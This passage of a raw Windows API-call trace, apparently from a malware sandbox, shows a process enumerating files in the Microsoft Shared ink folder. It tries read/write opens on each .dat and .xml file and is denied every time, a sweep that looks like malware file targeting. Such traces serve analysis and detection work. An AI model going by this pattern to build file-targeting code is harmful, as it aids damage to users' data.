ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.638] GetProcessHeap () returned 0x990000 [0163.638] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.638] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.638] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0163.638] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.638] GetProcessHeap () returned 0x990000 [0163.638] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x990000) returned 1 [0163.638] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0163.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.639] GetLastError () returned 0x5 [0163.639] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0163.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.639] GetLastError () returned 0x5 [0163.639] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0163.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.640] GetLastError () returned 0x5 [0163.640] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0163.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.641] GetLastError () returned 0x5 [0163.641] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0163.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.641] GetLastError () returned 0x5 [0163.641] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0163.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.641] GetLastError () returned 0x5 [0163.641] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0163.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.641] GetLastError () returned 0x5 [0163.641] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0163.641] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0163.641] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0163.641] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0163.641] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0163.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.642] GetLastError () returned 0x5 [0163.642] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0163.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.643] GetLastError () returned 0x5 [0163.643] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0163.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.644] GetLastError () returned 0x5 [0163.644] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0163.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.644] GetLastError () returned 0x5 [0163.644] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0163.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.644] GetLastError () returned 0x5 [0163.644] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0163.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.644] GetLastError () returned 0x5 [0163.644] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0163.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.645] GetLastError () returned 0x5 [0163.645] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0163.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.646] GetLastError () returned 0x5 [0163.646] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0163.646] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0163.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.646] GetLastError () returned 0x5 [0163.646] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0163.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.647] GetLastError () returned 0x5 [0163.647] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0163.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.647] GetLastError () returned 0x5 [0163.647] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0163.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.647] GetLastError () returned 0x5 [0163.647] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0163.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.647] GetLastError () returned 0x5 [0163.647] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0163.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.648] GetLastError () returned 0x5 [0163.648] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0163.648] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0163.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.649] GetLastError () returned 0x5 [0163.649] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0163.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft 